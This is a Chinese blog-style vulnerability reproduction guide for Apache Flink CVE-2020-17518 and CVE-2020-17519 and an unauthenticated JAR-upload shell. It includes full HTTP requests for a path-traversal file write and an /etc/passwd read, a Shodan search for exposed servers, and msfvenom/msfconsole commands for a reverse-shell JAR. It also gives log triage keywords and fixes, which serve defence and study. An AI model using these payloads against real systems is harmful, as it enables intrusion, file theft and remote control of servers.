CVE-2020-17518 / CVE-2020-17519 Apache Flink 任意文件写入、目录遍历、未授权访问上传JAR包getshell漏洞复现
漏洞简述
Apache Flink 是一个开源流处理框架,具有强大的流处理和批处理能力。
CVE-2020-17518
Apache Flink 1.5.1 引入了一个 REST 处理程序,允许通过恶意修改的 HTTP HEADER 将上传的文件写入本地文件系统上的任意位置。
CVE-2020-17519
Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
未授权访问上传Jar包getshell
这个没有CVE,上传Jar包执行本身是一个的功能点,但是Flink本身后台页面本身没有鉴权,导致未授权访问上传jar包进行getshell。
漏洞影响版本
CVE-2020-17518 1.5.1 < Flink < 1.11.2
CVE-2020-17519 Flink 1.11.0、1.11.1、1.11.2
Shodan搜索语法
http.favicon.hash:180732787
漏洞exp
该漏洞利用较为简单,并且github上的exp测试不太好用。建议手工测试复现。
https://github.com/QmF0c3UK/CVE-2020-17518
https://github.com/B1anda0/CVE-2020-17519
漏洞环境搭建
使用vulhub进行复现。搭建好后直接进入后台管理界面,没有认证。两个漏洞用的同一个环境。
如果不使用docker,可以前往官网进行下载tgz解压安装。
https://flink.apache.org/downloads/
wget https://archive.apache.org/dist/flink/flink-1.14.6/flink-1.14.6-bin-scala_2.11.tgz tar xvf flink-1.14.6-bin-scala_2.11.tgz cd flink-1.14.6/bin/ ./start-cluster.sh
漏洞复现
CVE-2020-17518
点击上面上传jar包,burp抓包修改路径。
POST /jars/upload HTTP/1.1 Host: vul.zgao.top:8081 Content-Length: 228 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryphBB4uHGBVImrUXt Connection: close ------WebKitFormBoundaryphBB4uHGBVImrUXt Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" Content-Type: application/octet-stream success ------WebKitFormBoundaryphBB4uHGBVImrUXt--
文件上传成功。
CVE-2020-17519
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1 Host: vul.zgao.top:8081 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Connection: close
未授权访问上传Jar包gethsell
用msf制作一个反弹shell的jar包。
msfvenom -p java/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f jar > rce.jar
msfconsole set payload java/shell/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 show options run
溯源排查
日志位置:
- /opt/flink/log
- flink/flink-1.14.6/log/
如果从官网下载tgz解压安装,flink位于解压安装的目录。
任意文件写入漏洞排查
排查关键词:JarUploadHandler
目录遍历漏洞排查
目录穿越任意文件读取,日志中没有记录。
未授权访问上传Jar包漏洞排查
根据配置文件查看上传jar包的目录位置。
排查关键字:JarRunHandler
命令执行的记录位于.out文件中,例如 flink-root-standalonesession-0-VM-4-7-centos.out
修复方式
- 升级至最新版本
- 禁止未授权访问flink后台页面
微信赞赏支付宝赞赏
发表评论